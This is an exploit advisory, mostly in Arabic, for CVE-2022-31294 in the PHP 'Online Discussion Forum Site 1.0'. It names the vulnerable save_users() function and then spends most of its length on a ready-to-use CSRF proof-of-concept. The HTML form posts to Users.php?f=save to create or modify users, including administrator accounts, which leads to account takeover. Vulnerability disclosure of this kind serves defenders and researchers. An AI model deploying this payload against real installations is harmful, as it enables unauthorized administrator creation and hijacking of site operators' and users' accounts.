CVE-2022-31294

موقع منتدى النقاش عبر الإنترنت 1.0 - الاستيلاء على الحساب

Exploit Title: موقع منتدى النقاش عبر الإنترنت 1.0 - CSRF إنشاء/تحديث مستخدم إداري موجود [الاستيلاء على الحساب]

التاريخ: 2022-06-13

CVE: CVE-2022-31294

مؤلف الاستغلال: Abdulaziz Saad (@b4zb0z)

الصفحة الرئيسية للبائع: https://www.sourcecodester.com/

رابط البرنامج: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

الإصدار: 1.0

تم الاختبار على: LAMP, Ubuntu

---

[#] موقع الثغرة: function save_users() في /odfs/classes/Users.php:13

---

[#] الاستغلال: <form action="http://localhost/odfs/classes/Users.php?f=save" method="post" id="manage-user"> <input type="text" name="id" value="" placeholder="Keep empty if you want to create new user / put user ID to edit existing user"> <div class="form-group"> <label for="name">First Name</label> <input type="text" name="firstname" id="firstname" class="form-control" value="" required> </div> <div class="form-group"> <label for="name">Middle Name</label> <input type="text" name="middlename" id="middlename" class="form-control" value=""> </div> <div class="form-group"> <label for="name">Last Name</label> <input type="text" name="lastname" id="lastname" class="form-control" value="" required> </div> <div class="form-group"> <label for="username">Username</label> <input type="text" name="username" id="username" class="form-control" value="" required autocomplete="off"> </div> <div class="form-group"> <label for="password"> Password</label> <input type="password" name="password" id="password" class="form-control" value="" autocomplete="off"> </div> <div class="form-group"> <label for="type" class="control-label">Type</label> <select name="type" id="type" class="form-control form-control-sm rounded-0" required> <option value="1" >Administrator</option> <option value="2" >Registered User</option> </select> </div> <button type="submit">Save</button> </form>